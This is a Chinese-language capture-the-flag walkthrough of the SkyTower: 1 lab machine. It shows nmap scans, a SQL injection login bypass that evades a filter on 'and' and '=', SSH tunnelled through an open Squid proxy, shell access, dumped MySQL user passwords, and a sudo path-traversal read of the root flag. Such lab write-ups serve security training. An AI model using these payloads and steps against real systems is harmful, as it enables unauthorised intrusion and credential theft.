SkyTower: 1靶场渗透测试
SkyTower: 1靶场
1,发现靶场不能够所以VMware打开,所以就所以VirtualBox打开,然后两个虚拟机都所以桥接模式使得能够互相通信
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.1.0/24

那么攻击机IP为192.168.1.102,靶场IP192.168.1.101
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.1.101

3128端口服务详情
- 服务名称: Squid HTTP Proxy
- 版本号: 3.1.20
- 协议类型: HTTP代理
- 默认用途:网页缓存加速;访问控制(ACL);匿名代理;网络流量中转
关键特性与风险
1. 代理功能
- 用途:可作为正向代理(客户端通过代理访问外部资源);可配置为反向代理(服务端资源发布)
- 风险:若配置为开放中继(Open Relay),可能被滥用发送垃圾邮件或匿名攻击;可能泄露内网拓扑(通过错误信息或缓存内容)
4,80端口开放的http服务是一个登录页面,说不定存在SQL注入

随便登录输入账户为1@qq.com,密码为1,然后挂上代理使用burpsuite抓个包

改为1@qq.com'试试

发生报错,而使用双引号不发生报错

再使用注释符#

不报错,是单引号的字符型SQL注入。尝试万能密码一把嗦。email=1%40qq.com' and 1 = 1 #&password=1

发生了报错,原来是过滤and和=,就需要绕过。email=1%40qq.com' || 1 #&password=1

成功注入出来登录成功的页面
5,根据提示通过SSH登陆靶场(已经开放了22端口)
username: john
Password: hereisjohn

结果发现无法连接,需要代理跳转,现在设置一下代理
proxytunnel -a 4444 -p 192.168.1.101:3128 -d 192.168.1.101:22
参数解释:
- -a 4444
- 作用:在本地主机(执行命令的机器)上监听 4444 端口。
- 意义:任何连接到本地 4444 端口的流量,都会被转发到代理服务器,最终到达目标服务。
- -p 192.168.1.101:3128
- 作用:指定 HTTP 代理服务器的地址和端口为 192.168.1.101:3128。
- 意义:所有流量将通过该代理服务器进行中转。
- -d 192.168.1.101:22
- 作用:指定最终目标服务的地址和端口为 192.168.1.101:22(通常是 SSH 服务)。
- 意义:隧道会将流量从代理服务器转发到此目标。
完整工作流程:
- 本地监听
本地 4444 端口开始监听,等待连接。 - 流量转发至代理
当用户连接到本地 4444 端口(如执行 ssh -p 4444 user@localhost),流量会被发送到代理服务器 192.168.1.101:3128。 - 代理中转流量
代理服务器接收到流量后,将其转发到最终目标 192.168.1.101:22(SSH 服务)。 - 建立隧道
最终形成一个从本地 4444 端口到目标 SSH 服务的加密隧道,所有数据通过代理服务器中转。
典型使用场景:
- 绕过防火墙限制
若本地网络限制直接访问 22 端口(SSH),但允许通过 HTTP 代理(3128 端口),可利用此隧道绕过限制。 - 访问内网服务
当目标 192.168.1.101:22 处于内网,且只有代理服务器 192.168.1.101:3128 可被外部访问时,通过此隧道间接访问内网 SSH 服务。
注意事项:
- 代理服务器需支持 CONNECT 方法
代理服务器必须允许 CONNECT 方法(通常用于 HTTPS 和 SSH),否则隧道无法建立。 - 认证问题
若代理服务器需要身份验证,命令需添加 -U <用户名> 和 -P <密码> 参数,否则连接会被拒绝。 - 目标与代理的关系
此例中代理(192.168.1.101:3128)和目标(192.168.1.101:22)位于同一 IP,可能是同一台机器的不同服务,或内网中不同设备(但共享同一 IP 段)。
验证命令是否生效:
- 执行命令后,使用 netstat -tuln 检查本地 4444 端口是否处于监听状态。
- 尝试通过 SSH 连接本地隧道端口:
ssh -p 4444 user@localhost
若成功连接,则隧道生效。

然后再使用ssh登录
ssh john@127.0.0.1 -p 4444

然后就被挤下线了,但是我们可以通过ssh直接执行一些命令
ssh john@127.0.0.1 -p 4444 id

ssh john@127.0.0.1 -p 4444 /bin/bash

成功开启一个/bin/bash解释器的shell
6,python脚本开启可交互shell
python -c 'import pty;pty.spawn("/bin/bash")'

没有python命令,这可就尴尬了
7,cat .bashrc
.bashrc 是 Bash Shell 的配置文件,用于定义用户个性化的 Shell 环境。
- 每次打开新的终端窗口或启动 Bash Shell 时,系统会自动加载该文件中的配置。
- 常用于设置环境变量、别名(alias)、Shell 函数、提示符样式等。
- 位于用户的主目录下,路径为 ~/.bashrc(例如 /home/username/.bashrc)。

基础配置
- 交互式 Shell 检测
case $- in *i*) ;; *) return;; esac
确保只在交互式 Shell 中生效(如终端窗口),避免影响脚本执行。 - 历史记录控制
HISTCONTROL=ignoreboth # 忽略重复命令和空格开头的命令
HISTSIZE=1000 # 内存中保存的历史命令数量
HISTFILESIZE=2000 # 历史文件最大记录数
shopt -s histappend # 退出时追加历史记录,而非覆盖
这是 Bash 的标准历史记录优化配置。
2. 终端环境优化
- 窗口尺寸自适应
shopt -s checkwinsize
终端窗口大小变化后自动更新 LINES 和 COLUMNS 变量。 - 颜色支持
根据终端类型 (xterm-color) 和用户配置 (force_color_prompt),设置彩色提示符:
PS1='\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
显示彩色用户名、主机名和工作目录。 - ls 命令颜色别名
alias ls='ls --color=auto'
让 ls 命令输出带颜色区分文件类型。
3. 模块化配置
- 加载外部别名文件
if [ -f ~/.bash_aliases ]; then . ~/.bash_aliases; fi
将用户自定义别名分离到 ~/.bash_aliases 文件,保持配置整洁。 - 启用命令补全
if [ -f /usr/share/bash-completion/bash_completion ]; then
. /usr/share/bash-completion/bash_completion
fi
支持 Tab 键自动补全命令和参数。
危险代码段
文件末尾存在两行异常代码:
echo "Funds have been withdrawn" # 输出提示信息
exit # 立即退出 Shell
潜在危害
- 终端无法使用
每次打开新终端时,Shell 会立即执行 exit,导致窗口瞬间关闭,用户无法进行任何操作。 - 误导性信息
Funds have been withdrawn(资金已被提取)可能暗示系统被入侵,攻击者试图制造恐慌或掩盖其他恶意操作。 - 后门可能性
此代码可能是攻击者故意插入,用于阻止用户正常登录系统,或掩盖其他恶意进程(如挖矿、数据窃取)。
8,删除.bashrc文件中最后一行exit函数
sed -i '$d' .bashrc

然后再尝试ssh登录靶场,成功上线

9,去到靶场的敏感文件夹/var/www下做信息收集

login.php就是那个存在sql注入的网站页面
10,拿到了数据库账户密码,直接登录数据库
mysql -u root -p

四条命令直接爆出重要用户的账户密码
show databases;
use SkyTech
how tables;
select * from login

john@skytech.com/hereisjohn
sara@skytech.com/ihatethisjob
william@skytech.com/senseable
11,尝试登录使用这些用户的账户密码登录网站(估计就是ssh登录的账户密码)
ssh sara@127.0.0.1 -p 4444

依然被下线,重复第七第八的步骤

12,进而成功ssh登录sara

sudo -l查看提权利用点

account具有root权限,直接来cat flag一把嗦
sudo cat /accounts/../root/flag.txt

13,知道了root的账户密码theskytower,再来登录root就算圆满完成
更多推荐


所有评论(0)